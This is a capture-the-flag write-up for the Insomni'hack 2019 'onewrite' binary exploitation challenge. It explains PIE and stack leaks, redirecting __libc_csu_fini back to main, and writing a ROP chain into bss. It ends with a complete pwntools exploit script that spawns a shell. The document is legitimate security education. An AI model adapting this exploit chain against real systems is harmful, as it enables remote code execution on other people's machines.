[Insomni'hack 2019] onewrite writeup
Description
File is here difficulty: easy _ nc onewrite.teaser.insomnihack.ch 1337
A program is a Simple.
All you need to pwn nowadays is a leak and a qword write they say...
What do you want to leak ?
1. stack
2. pie
> 1
0x7fff979bf4a0
address : 140735736968352
data : 12345678
we can leak a stack
or do_leak
function pointer for us once. Then, it will call do_overwrite
which allows us to overwrite 8 byte to arbitrary address.
[*] '/home/myria/CTF/Insomni_hack/onewrite/onewrite'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
and binary is "statically linked"
but, the binary is statically linked, we need leak stack
and pie
both of all.
The attack is summarized as follows.
- Leak
PIE
address - Overwrite
pie_addr + 0x2a55a3
withmain
address - Program end. And the
exit
will be called aftermain
returns. (it call__libc_csu_fini
function) __libc_csu_fini
function callQWORD [pie_addr + 0x2a55a3]
. so we again jump tomain
function.- Leak
Stack
address - Write a
ropchain
in thebss
- Jump
ropchain
- Get Shell
The exit function is called after the main function ends. Then, the function __libc_csu_fini
is called and you can return to main by using the call QWORD PTR [rbp + rbx*8+0x0]
of <__ libc_csu_fini+40>
.
6. Write a 'ropchain' in the 'bss'
is hard part. so i need to be able to write 8 bytes somewhere and jump free
from the main function again.
You can adjust the stack
by omitting the function’s prologue or epilogue appropriately.
manipulate the return address of the main function
and manipulate the return address of the do_leak function
. (sub rsp, 0x18
, add rsp, 0x18
or sub rsp, 0x8
, add rsp, 0x8
)
Then the stack
is configured as shown below. Now we got one free write
via two operations.
The rest is simple. configure ropchain and use pop rsp; ret
Korean writeup
The full exploit code
from pwn import *
#conn = remote("onewrite.teaser.insomnihack.ch", 1337)
conn = process("onewrite")
def leak(select):
conn.recvuntil(" > ")
conn.sendline(str(select))
leak_addr = int(conn.recvline().strip(), 16)
return leak_addr
def write(addr, data):
conn.recvuntil("address : ")
conn.send(str(addr))
conn.recvuntil("data : ")
conn.send(data)
## Stage 1
# do_leak func address leak
pie_addr = leak(2)
log.info("pie_address : " + hex(pie_addr))
target = pie_addr + 0x2a55a3 # rbp+rbx*8+0x0 // call QWORD PTR [rbp+rbx*8+0x0]
main = pie_addr + 0xa3 # main function address
write(target, p64(main))
## Stage 2
# stack_address leak
stack_addr = leak(1)
target = stack_addr + 0x28 # return address (main function)
log.info("stack_address : " + hex(stack_addr))
write(target, p64(main))
def write_arbitrary(addr, data):
# stack_address += 8
stack_addr = leak(1)
log.info("stack_address : " + hex(stack_addr))
target = stack_addr + 0x28
write(target, p64(main))
# stack_address -= 8
stack_addr = leak(1)
log.info("stack_address : " + hex(stack_addr))
target = stack_addr + 0x18
write(target, p64(main))
# main_ret => main
# free write! and return Main
stack_addr = leak(1)
log.info("stack_address : " + hex(stack_addr))
log.info("writing")
write(addr, data) # free write
# rop_gadget
pie_base = pie_addr - 0x000008A15
pop_rdi = pie_base + 0x000858fb
pop_rsi = pie_base + 0x0008551a
pop_rdx = pie_base + 0x000484c5
pop_rax = pie_base + 0x0004654c
syscall = pie_base + 0x00088834
bss_address = pie_base + 0x2B38D0
log.info("pie_base : " + hex(pie_base))
# write "/bin/sh" to BSS
write_arbitrary(bss_address, "/bin/sh\x00")
idx = 2
def rop(data):
global idx
write_arbitrary(bss_address + idx*8, p64(data))
idx+=1
# write rop_chain to BSS
rop(pop_rdi)
rop(bss_address)
rop(pop_rsi)
rop(0)
rop(pop_rdx)
rop(0)
rop(pop_rax)
rop(59)
rop(syscall)
def trigger_rop():
stack_addr = leak(1)
target = stack_addr + 0x28
log.info("stack_address : " + hex(stack_addr))
write(target, p64(main))
pop_rsp = pie_base + 0x00087c46
rop_chain = bss_address + 0x10
# jump ropchain
write_arbitrary(stack_addr + 0x40, p64(pop_rsp))
write_arbitrary(stack_addr + 0x48, p64(rop_chain))
trigger_rop()
leak(1)
write(1,"id\n")
conn.interactive()